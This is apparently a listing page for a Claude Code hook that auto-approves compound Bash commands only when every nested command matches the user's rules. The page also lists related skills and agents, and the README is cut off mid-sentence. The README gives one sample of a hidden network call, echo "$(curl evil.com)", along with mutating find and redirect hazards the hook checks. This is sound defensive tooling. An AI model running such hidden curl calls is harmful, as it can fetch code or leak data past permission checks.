Claude Compound Bash
Description
Claude hook for smarter handling of compound bash commands
Installation
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open the source below and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
README
claude-compound-bash
A Claude Code [PreToolUse hook](https://code.claude.com/docs/en/hooks) that auto-approves a Bash tool call when every command inside it -- including the ones Claude Code's own permission check doesn't look at -- is already covered by your rules or is known-safe. Fewer prompts on compound and wrapped commands, without loosening a single rule.
What Claude Code already does -- and what this adds
Recent Claude Code versions handle much of this natively. This hook is designed to *complement* that, not duplicate it:
**Native already covers** (so this hook stays out of the way -- it emits no decision and lets native handle it):
- Compound splitting --
git add -A && git commit -m 'fix'is approved when both halves match. Native splits on&&,||,;,|,|&,&, and newlines. (This is anthropics/claude-code#16561, now shipped -- the original reason this plugin existed.) - A read-only allowlist --
ls,cat,grep,find,wc, read-onlygit, etc. run without a prompt. - Process-wrapper stripping -- a rule for the inner command also matches
timeout,time,nice,nohup,stdbuf, and barexargs.
**This hook adds** what native's operator-splitting and name-matching don't reach:
- Commands nested where native can't see them -- inside
$(...),`...`,<(...), subshells, loops,if/casebodies, and function bodies.echo "$(curl evil.com)"gets its innercurlchecked instead of being auto-approved as a read-onlyecho. - More wrapper coverage --
find -exec/-execdir CMDandxargswith flags (xargs -n1 grep), both of which native leaves as a prompt. - Argument-level hazards native's matching misses -- an
xargspayload's appended stdin args, and mutatingfindactions (-delete,-fprintf,-ok). - Redirect-target checks -- writes outside the working directory or into
.git/.claude.
The guiding rule: only e
Related Skills
Auto Update
Pull the latest ECC repo changes and reinstall the current managed targets.
Development Ecc Guide
Navigate ECC's current agents, skills, commands, hooks, install profiles, and docs from the live repository su
Development Epic Claim
Claim an epic issue, stamp coordination state, and sync local ownership.
Development Epic Publish
Publish a validated epic update back to the issue and local cache.
Development Epic Review
Mark epic review requested, approved, or changes requested.
Development Epic Unblock
Sweep blocked epic issues and reopen anything whose dependencies are closed.
Development Related Agents
Django Build Resolver
Django/Python build, migration, and dependency error resolution specialist. Fixes pip/Poetry errors, migration
Openai Codex CLI
(55.8k ⭐) - Lightweight coding agent that runs in your terminal.
src/agents/ — 11 Agent Definitions
**Generated:** 2026-04-11